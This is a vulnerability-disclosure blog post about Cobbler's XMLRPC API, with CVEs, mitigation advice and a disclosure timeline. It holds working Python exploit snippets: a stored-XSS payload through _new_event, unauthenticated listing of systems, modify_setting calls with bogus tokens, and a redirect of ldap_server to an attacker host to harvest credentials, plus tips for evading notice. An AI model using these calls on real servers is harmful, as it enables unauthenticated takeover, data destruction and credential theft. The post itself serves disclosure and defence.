TL;DR: There are several privilege escalation vulnerabilities in Cobbler’s XMLRPC API. There are also many endpoints that are not validating the auth tokens passed to them. As a result, the API is effectively unauthenticated. Consider using a firewall to restrict access to the /cobbler_api endpoint.

Introduction

Cobbler is an infrastructure configuration management tool. It is used by many large organizations to provision and track their inventories of virtual machines.

From the website:

Cobbler can help with provisioning, managing DNS and DHCP, package updates, power management, configuration management orchestration, and much more.

The Story

Back in May 2017, I was working on an in-house automated machine provisioning system. It combined Ansible, VMWare vCenter, Cobbler, and HashiCorp Vault together to make provisioning virtual machines easy, while also allowing for the entire configuration to be stored as code (ie. “Infrastructure as Code”).

I was trying to make use of Cobbler’s XMLRPC API, but I was having troubles since it was not well documented. The next step was to look at the code to see how the API is implemented.

Cobbler is making use of Python’s built-in SimpleXMLRPCServer and is using the register_instance method. This effectively exposes all of the methods of the CobblerXMLRPCInterface class as endpoints of the API.

And boy does the CobblerXMLRPCInterface class ever have a lot of methods…

195 of them. Including these curious “private” methods:

  • _new_event(self, name)
  • _set_task_state(self, thread_obj, event_id, new_state)
  • _log(self, msg, user=None, name=None, object_id=None, attribute=None, debug=False, error=False)

These caught my eye as they probably weren’t intended to be exposed and didn’t require a security token to call.

The [First] Exploit

Let’s try calling one just to see what happens.

import xmlrpc.client

cobbler_connection = xmlrpc.client.ServerProxy("http://127.0.0.1/cobbler_api", allow_none=True)
try:
    cobbler_connection._new_event('Hello!')
except xmlrpc.client.Fault: #_new_event() returns None, which causes Cobbler's response renderer to fail
    pass

As you might guess, this creates an “Event” with the name ‘Hello!’ which can be seen in the UI at https://127.0.0.1/cobbler_web/events

The event displayed in the Cobbler Web UI

So I had a way to create objects in Cobbler using an unauthenticated endpoint. From an attacker’s perspective, this is a good start. What could I do with it?

What happens if I pass in some HTML + JavaScript?:

payload = """
<button onclick="myFunction()">Click me!</button>

<script>
function myFunction() {
    alert("Hah! you clicked!");
}
</script>
"""

cobbler_connection._new_event(payload)

The event displayed in the Cobbler Web UI showing that the HTML is rendered and the JavaScript executed

Yup. It renders it and executes the JavaScript. :smile:

So now I can execute arbitrary JavaScript once a user visits the Events page. This is a Persistent XSS vulnerability.

(Aside: this can also be done by injecting the payload into the ‘State’ attribute of the event using the _set_task_state endpoint)

Even better (from an attacker’s perspective), when an event is created, anyone logged into the Cobbler UI at the time receives a notification popup which renders the Event:

The event displayed in the Cobbler Web UI notification popup

This means that even if a user doesn’t visit the Events page, I can execute arbitrary JavaScript. Of course, being arbitrary JavaScript, I can edit the DOM to hide the popup from ever appearing, as well as hijack the user’s session to perform authenticated requests on their behalf. Privilege escalation FTW!

Making a Proof of Concept

In order to be able to provide a compelling proof-of-concept, I then began looking for a way to do something destructive with this ability. I settled on the idea of deleting the “system” records tracked in Cobbler. This would essentially delete everything Cobbler knows about from its database, meaning that the organization would likely have to restore from backups in order to get that information back.

There is an endpoint that allows you to delete system records, but for that you need to know the names of the systems that you want to delete.

If the user whose session I hijacked was on the “Systems” page when the event popup was rendered, I could scrape the DOM for system names, but that is limited to the first 50 systems that are visible before pagination happens.

I wanted a way to get access to all the system names. That would allow me to then hijack their session and perform a call to /cobbler_web/system/multi/delete/delete, deleting all their system records in one fell swoop.

Looking through the API signatures, I found that the get_systems call requires an auth token:

get_systems(self, token, page=None, results_per_page=None, **rest)

While I had control of a user’s session, I didn’t directly have their auth token.

But while looking at the other endpoints, I noticed there is a similarly named endpoint that doesn’t require an auth token:

get_systems_since(self, mtime)

By setting mtime to 0, we get:

    systems = cobbler_connection.get_systems_since(0)
    print(systems)

Which gives us the full list of systems.

Bingo! I had everything I needed. After some mucking around with JavaScript, I had created an exploit that would delete all the systems in any exposed Cobbler server, without having to authenticate.

A more experience JavaScript developer or security researcher could likely devise a more sinister payload, but I feel this is good enough for a PoC exploit.

Not bad for a couple of hours of play. :smile:

I then went looking at the rest of the API more closely…

Wait, what?

It turns out that the get_systems call I avoided using before (because of the token parameter) doesn’t actually use the token parameter (I slightly changed the method signature in the above example in order to not spoil the surprise):

def get_systems(self, page=None, results_per_page=None, token=None, **rest):
    return self.get_items("system")

:question::exclamation::question:

So I could simply pass in anything (or nothing) and get the same effect:

    systems = cobbler_connection.get_systems(None, None, 'totally_a_secure_token')
    print(systems)

I wondered if there were any other endpoints that had this same issue.

Doing some quick-and-dirty AST parse magic, I discovered that there are no fewer than 70 other endpoints that require an auth token but don’t actually use it!

Captain Jean-Luc Picard of the USS Enterprise, facepalming

At a glance, some interesting ones include:

  • rename_*
  • run_install_triggers
  • upload_log_data
  • disable_netboot

Some of these have some additional security, since they were recognized as especially dangerous. Before they can be used, they must be first enabled in the /etc/cobbler/settings file.

For example, from /etc/cobbler/settings:

# NOTE: This does allow an xmlrpc call to send logs
# to this directory, without authentication, so enable only if you are
# ok with this limitation.
anamon_enabled: 0

However, authenticated users can also change this setting in an already running server using the modify_setting endpoint:

modify_setting(self, setting_name, value, token)

Again, the actual implementation of the endpoint never validates the value of the token parameter, so any value works.

cobbler_connection.modify_setting('anamon_enabled', '1', 'bogus_token')

So it doesn’t matter whether the server operator is “ok with this limitation”, since unauthenticated users can change the value at any time. :stuck_out_tongue:

More privilege escalation

Another interesting setting in the /etc/cobbler/settings file is ldap_server, which specifies the LDAP server to authenticate against.

For Cobbler servers that are configured to authenticate against an LDAP server (likely all large corporation deployments), an attacker could set up their own LDAP server and use this improperly secured endpoint to get the Cobbler server to authenticate against it.

cobbler_connection.modify_setting('ldap_server', 'my-evil-ldap-server.example.com', 'bogus_token')

The attacker can then use their server to collect user credentials, gaining all the privileges of those users, for all systems that are connected to the organization’s LDAP server.

This is a ‘loud’ attack because already logged in users will have their login session interrupted. But even if the ability to login was disrupted and reported to system administrators, the changes to the settings are entirely in-memory and are wiped out upon restart of the Cobbler server. Only the most paranoid sysadmins are likely to dig further if the problem resolves itself on restart. “Must have just lost its connection to the LDAP server for some reason” is an all too common problem in their field.

Aside: If an attacker were to do this attack, it would likely be done when they are confident no one will be logged into the system (ex. 23:00 Saturday, when the office is closed for the weekend).

(There are many more settings that can be tampered with. The full can be seen at /cobbler_web/setting/list or in the source.)

Conclusions

These are just the vulnerabilities I discovered. I have no doubts that there are numerous other ways that the Cobbler API can be abused for nefarious purposes. The API is essentially unauthenticated, and its power is almost unlimited.

Ironically, if there had been good documentation of the API, I would have never looked at the code itself, and never discovered these problems.

If you are using Cobbler today, make sure that it is not exposed to the Internet. Beyond that, recognize that if an attacker were to gain a foothold in your network, that your Cobbler server is an attractive next target, given the information that can be gleaned from it. Consider configuring a firewall to restrict or disallow access to the /cobbler_api endpoint.

Finally, Cobbler has been graciously maintained by one person in their (limited) spare time. However, they are now looking for maintainers to keep the project going. Fixing these vulnerabilities will take a sizeable, dedicated effort. If you are using Cobbler as part of your infrastructure today, consider contributing some of your engineering talent’s time to getting these issues fixed so that the entire community can continue to use this tool safely.

Response

Affected versions

These vulnerabilities are verified as present in Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ or possibly even older versions may be vulnerable.

GitHub Issues

  • Persistent XSS: https://github.com/cobbler/cobbler/issues/1917
  • Incorrect Authentication: https://github.com/cobbler/cobbler/issues/1916

CVE Numbers

CVE numbers are in the process of be applied for. This page will be updated with the numbers when they are issued.

  • CVE-2018-10931 was assigned to address the inadvertently exposed _* endpoints.
  • CVE-2018-1000225 was assigned to address the Persistent XSS vulnerability.
  • CVE-2018-1000226 was assigned to address the multiple incorrect access control vulnerabilities in the API.

Responsible Disclosure Timeline

  • 2017-05-18: Reached out via email to Jörgen Mass (primary contributor).
  • 2017-05-23: Reply from Jörgen.
  • 2017-05-23: Sent explanation of the exploits to Jörgen.
  • 2017-06-01: Confirmation of receipt from Jörgen.
  • 2017-06-28: Confirmation of exploits by Jörgen.
  • …
  • 2018-04-16: Nearly 10 months later, no fixes made, nor users notified. Sent follow-up email to Jörgen.
  • 2018-05-02: After no response, sent email informing Jörgen of my intentions to publicly disclose after 90 days.
  • 2018-08-02: Public disclosure of exploits (92 days).